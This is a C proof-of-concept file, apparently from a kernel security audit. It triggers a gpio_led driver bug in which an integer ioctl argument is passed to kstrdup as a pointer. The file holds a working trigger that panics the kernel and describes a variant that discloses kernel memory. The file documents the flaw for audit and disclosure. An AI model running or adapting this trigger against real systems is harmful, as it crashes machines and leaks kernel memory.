DF-5104 / gpioled_int_kstrdup.c
/* * DF-5104 trigger -- gpio_led.c led_attach() kstrdup() of a GPIO_TYPE_INT * consumer argument (integer used as a pointer). * * Path (target system, kernel built with `device gpio` + a registered * controller, e.g. nsclpcsio(4)): * ioctl(GPIOATTACH, arg_type=GPIO_TYPE_INT, lint=1) * -> gpio_master_ioctl() sys/dev/misc/gpio/gpio.c:471-478 * passes (void *)(long)1 as `arg` because arg_type == GPIO_TYPE_INT * -> gpio_consumer_attach() sys/dev/misc/gpio/gpio.c:98-138 * -> led_attach() sys/dev/misc/gpio/gpio_led.c:182 * arg != NULL passes the only guard (gpio_led.c:186-187) * sc->name = kstrdup((char *)arg, M_LED); gpio_led.c:193 * -> strlen((char *)1) -> kernel page-fault panic. * * With lint = <mapped kernel address> instead, kstrdup() copies kernel * memory as a string which is then published world-readably as the * /dev/led/<name> devfs node name (gpio_led.c:206-207) and kprintf'd to the * console (gpio_led.c:211-212) -> kernel memory disclosure. * * The userland struct below mirrors <dev/misc/gpio/gpio.h> 1:1 (that header * is not userland-includable: it drags in sys/conf.h via cdev_t). * sizeof == 64 on x86-64: [16]char + int + u_int32_t + int (=28, pad 4) + * union{ char[32]; long } at offset 32. * * Build: cc -Wall -o gpioled_int_kstrdup gpioled_int_kstrdup.c * Run: ./gpioled_int_kstrdup [/dev/gpio/<ctrl><unit>/master] * (default master node name for the only in-tree controller, * nsclpcsio "pc83766" unit 0) * * Expected on a misc/gpio-equipped system, run by root (master node is * 0600 root:wheel, gpio.c:574): immediate kernel panic in strlen/kstrdup. * Expected on the stock audit guest: open() fails (ENOENT -- no gpio * framework in X86_64_GENERIC) or EACCES when run unprivileged. */ #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> struct gpio_attach_args { char consumer_name[16]; int pin_offset; unsigned int pin_mask; /* u_int32_t */ int arg_type; union { char string[32]; long lint; } consumer_arg; }; #define GPIO_TYPE_INT 0x01 #define GPIOATTACH _IOWR('G', 6, struct gpio_attach_args) int main(int argc, char **argv) { struct gpio_attach_args gaa; const char *dev; int fd; dev = (argc > 1) ? argv[1] : "/dev/gpio/pc873660/master"; memset(&gaa, 0, sizeof(gaa)); strlcpy(gaa.consumer_name, "led", sizeof(gaa.consumer_name)); gaa.pin_offset = 0; /* first valid pin */ gaa.pin_mask = 0x1; /* one pin */ gaa.arg_type = GPIO_TYPE_INT; /* arg is an INTEGER ... */ gaa.consumer_arg.lint = 1; /* ... non-NULL, -> kstrdup((char *)1) */ fd = open(dev, O_RDWR); if (fd < 0) { perror(dev); return 1; } if (ioctl(fd, GPIOATTACH, &gaa) < 0) { perror("GPIOATTACH"); close(fd); return 1; } printf("GPIOATTACH accepted, no crash\n"); close(fd); return 0; } |